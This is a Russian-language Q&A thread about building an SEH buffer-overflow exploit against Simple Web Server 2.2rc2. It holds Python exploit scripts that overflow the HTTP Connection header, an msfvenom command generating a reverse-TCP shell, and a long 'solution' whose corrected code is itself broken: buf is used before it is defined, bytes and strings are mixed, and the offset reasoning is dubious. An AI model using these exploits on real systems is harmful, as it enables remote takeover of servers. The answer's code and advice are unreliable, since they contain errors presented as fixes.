Вопрос или проблема
Я практикуюсь в написании эксплойта для Simple Web Server 2.2rc2.
Я смог:
- найти правильные смещения для перезаписи SE Handler и Next SEH
- найти адрес POP, POP, RET
Моя проблема в том, что я не могу выполнить свою оболочку (сгенерированную с помощью msfvenom):
msfvenom –platform windows -a x86 -p windows/shell_reverse_tcp LHOST=IP LPORT=80 EXITFUNC=thread -b “\x00\x0a\x0d” -f python -v shellcode
Я пытался:
- разместить свой код сразу после SE Handler
- добавить к shellcode корректировку стека
- добавить нулевой слайд перед shellcode
Все, что я вижу в отладчике, это то, что мой shellcode вызывает сбой приложения.
Вот мой текущий код:
#!/usr/bin/python
import socket,struct,os
ip = "192.168.123.2"
port = 80
rsp_offset = 2048
seh_offset = 2280
buf_size = 2400
#shellcode= # сгенерирован с помощью msfvenom
buf = ""
buf+= "A" * (rsp_offset-len(buf))
buf+= "BBBB" # EIP
buf+= "C" * (seh_offset-len(buf))
buf+= "\xeb\x07\x90\x90" # Next SEH: JMP +7 к shellcode
buf+= struct.pack("<I", 0x6FC5447E) # POP,POP,RET
buf+= "\x90\x83\xec\x20" # корректировка стека
buf+= shellcode
#buf+= "F" * (buf_size-len(buf))
req = "GET / HTTP/1.1\r\n"
req += "Host: 192.168.122.2\r\n"
req += "Connection:" + buf + "\r\n"
req += "\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(req)
s.close()
Может кто-то подсказать, что я делаю не так? Приложение доступно здесь
Ваши смещения корректны? Я быстро взглянул, и вот какие смещения я получил, запуская через Immunity:
[мусор, 2260 байт][Прыжок к эксплойту, 4 байта][pop pop ret, 4 байта][эксплойт, 728 байт]
Мой фрагмент на Python:
exploit="GET / HTTP/1.0\r\n"
exploit += 'Host: 172.16.139.134\r\n'
junk = '\x41' * 2260
jmp = '\xeb\x0b\x90\x90'
ppr="\x7e\x44\xc5\x6f"
break = '\xcc' * 728
exploit += 'Connection: ' + junk + jmp + ppr + break + '\r\n\r\n'
Спасибо
Редактирование: Я вижу, что вы отлаживали, и ваш shellcode вызывает сбой приложения, извините!
Ответ или решение
Для успешной эксплуатации уязвимости Stack Buffer Overflow в Simple Web Server 2.2rc2 с использованием SEH, необходимо убедиться, что все адреса и смещения правильно рассчитаны, а также что ваш шеллкод корректно вставлен и вызван. Давайте подробно рассмотрим возможные ошибки и этапы, которые могут помочь в решении вашей проблемы.
Проверка смещений и адресов
-
Согласованность смещений: Убедитесь, что вы правильно рассчитали все смещения в вашем буфере. У вас указаны следующие смещения:
rsp_offset = 2048
seh_offset = 2280
Обратите внимание, что вы должны проверить, что смещения для EIP и SEH находятся на верных позициях в памяти. Проверьте их при помощи отладчика, чтобы убедиться, что вы не пропустили байты. Например, если ваш буфер заполняетсяA
на 2048 байт, и затем идетBBBB
(4 байта для EIP), то следующее управляемое значение SEH должно быть на позиции 2052, а не на 2280.
-
Корректность адресов: Проверьте, правильно ли указан адрес для
POP, POP, RET
(в вашем случае0x6FC5447E
). Это адрес может отличаться, и его надо уточнять для конкретной версии программы. Убедитесь, что адрес действительно указывает на необходимую инструкцию.
Вставка шеллкода
-
Шеллкод: Убедитесь, что ваш шеллкод правильно сгенерирован и не содержит недопустимых символов. Также важно, чтобы длина шеллкода не превышала оставшегося пространства в буфере. После всех ваших
A
,BBBB
,C
, и т.д., должно остаться достаточно места для вашего шеллкода. -
NOP-слайды: Вы используете NOP-слайды для повышения вероятности успешного исполнения вашего шеллкода. Убедитесь, что перед встроенным шеллкодом есть достаточно NOP-инструкций (например,
\x90
), чтобы смещение не было критическим. Это улучшит шансы на исполнение.
Исправления в вашем коде
На основании вашего кода, сделали некоторые исправления:
#!/usr/bin/python
import socket
import struct
ip = "192.168.123.2"
port = 80
rsp_offset = 2048 # Смещение до конца буфера
seh_offset = 2280 # Смещение для записи SE Handler
buf_size = 2400
# Замените на ваш сгенерированный шеллкод
shellcode = b"" # вставьте сюда ваш код
# Создаем буфер
buf = b"A" * (rsp_offset - len(buf)) # заполняем до rsp_offset
buf += b"BBBB" # EIP
buf += b"C" * (seh_offset - len(buf) - 4) # заполняем до SEH
buf += b"\xeb\x07\x90\x90" # next SEH: JMP +7 к шеллкоду
buf += struct.pack("<I", 0x6FC5447E) # POP, POP, RET
buf += b"\x90" * 20 # NOP-sled перед шеллкодом
buf += shellcode # ваш шеллкод
# Формируем запрос
req = "GET / HTTP/1.1\r\n"
req += "Host: " + ip + "\r\n"
req += "Connection: " + buf + "\r\n"
req += "\r\n"
# Отправка запроса
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(req.encode())
s.close()
Диагностика
Если приложение все еще аварийно завершает работу при запуске шеллкода:
-
Отладка: Используйте отладчик (например, Immunity Debugger или x64dbg), чтобы посмотреть, почему шеллкод не выполняется. Убедитесь, что вы попадаете в него, и какие инструкции выполняются перед падением приложения.
-
Логи: Проверьте логи приложения, если они доступны, чтобы объективно понять, какие ошибки происходят.
-
Коррекция кода: Если повторные попытки не удаются, вы можете рассмотреть возможность изменения и проверки самих инструкций в вашем шеллкоде.
Ведите тщательный контроль за всеми детальными аспектами и шагами процесса эксплуатации, это поможет вам добиться успеха.